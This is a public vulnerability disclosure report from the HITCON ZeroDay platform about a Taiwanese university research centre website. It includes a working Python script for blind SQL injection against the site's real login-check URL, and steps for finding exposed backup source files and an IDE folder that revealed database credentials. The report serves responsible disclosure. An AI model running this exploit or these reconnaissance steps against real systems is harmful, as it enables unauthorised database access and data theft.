中央大學全球定位科學與應用研究中心網站 SQL injection and information leakage - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2021-00900
  •  發信 Vendor: 國立中央大學
  • Title: 中央大學全球定位科學與應用研究中心網站 SQL injection and information leakage
  • Introduction: as title

處理狀態

目前狀態

公開
Last Update : 2022/02/22
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2021/12/09 22:16:05 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2021/12/09 22:28:20 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2021/12/10 23:56:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/12/15 12:21:37 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/12/15 12:21:37 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/12/28 10:21:39 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/12/28 10:33:28 : 未修補完成 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2022/02/22 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.gpsarc.ncu.edu.tw/gpsarc/php/check_userpas.php
http://www.gpsarc.ncu.edu.tw/gpsarc/php/upload_photo.php.old
http://www.gpsarc.ncu.edu.tw/gpsarc/.idea/workspace.xml
http://www.gpsarc.ncu.edu.tw/gpsarc/fuction.php.old

敘述

大致上有三個問題:

  • userpas處有Boolean based的SQL injection漏洞

Simple Python PoC:

import requests

def main():
    query = "select version()"
    result = ""
    for i in range(1, 100):
        left, right = 0, 255
        mid = (left + right) // 2
        while left < right:
            payload = f"'||ascii(mid(({query}),{i},1))<{mid}-- -"
            # print(payload)
            d = {
                'original': 'data',
                'userpas': payload
            }
            resp = requests.post("http://www.gpsarc.ncu.edu.tw/gpsarc/php/check_userpas.php", data=d)
            if "Invalid password" not in resp.text:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        mid -= 1
        if mid == 0:
            print(result)
            break
        else:
            print(mid, chr(mid))
            result += chr(mid)
            print(result)

if __name__ == '__main__':
    main()

圖片

圖片


  • apache沒有設定好,可以直接看到一個目錄下有什麼檔案:

e.g.

http://www.gpsarc.ncu.edu.tw/gpsarc/php/

可以發現有許多副檔名是.old的檔案,下載下來可以看到某些頁面背後的邏輯

e.g.

http://www.gpsarc.ncu.edu.tw/gpsarc/php/upload_photo.php.old

可以透過這份source code直接存取一些原本可能是admin才能用的功能:

e.g.

http://www.gpsarc.ncu.edu.tw/gpsarc/read.php?phppage=upload_photo

這裡有簡單測試一下upload的功能,並測試可否透過lfi來rce,但貌似沒辦法

61b1d44cc8593.png   2021-12-09 18:02    231  
61adcfb63dd2c.png   2021-12-06 16:54    517  
61adcb360162e.png   2021-12-06 16:35    545  
61adca7c8076a.png   2021-12-06 16:31    545  

以上這四個png是我為了測試上傳功能所以上傳的,沒什麼危害,很抱歉造成困擾,直接刪掉就可以了,謝謝


  • 可能因為開發者是使用phpstorm來開發,.idea/的目錄下的檔案也一起被分享到外網了

e.g.

http://www.gpsarc.ncu.edu.tw/gpsarc/.idea/workspace.xml

可以從裡面得知一些網站目錄下的檔案:

e.g.

<option value="$PROJECT_DIR$/fuction.php"/>

除了檯面上看得到的.old檔案以外,我推測網站開發者的習慣應該都是使用.old來備份舊檔

所以猜了一下,可以發現fuction.php.old也是可以被下載下來的 (typo, lol)

裡面可以看到db的username和password

圖片

大概是這樣,老網站了,有空修一下吧~

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;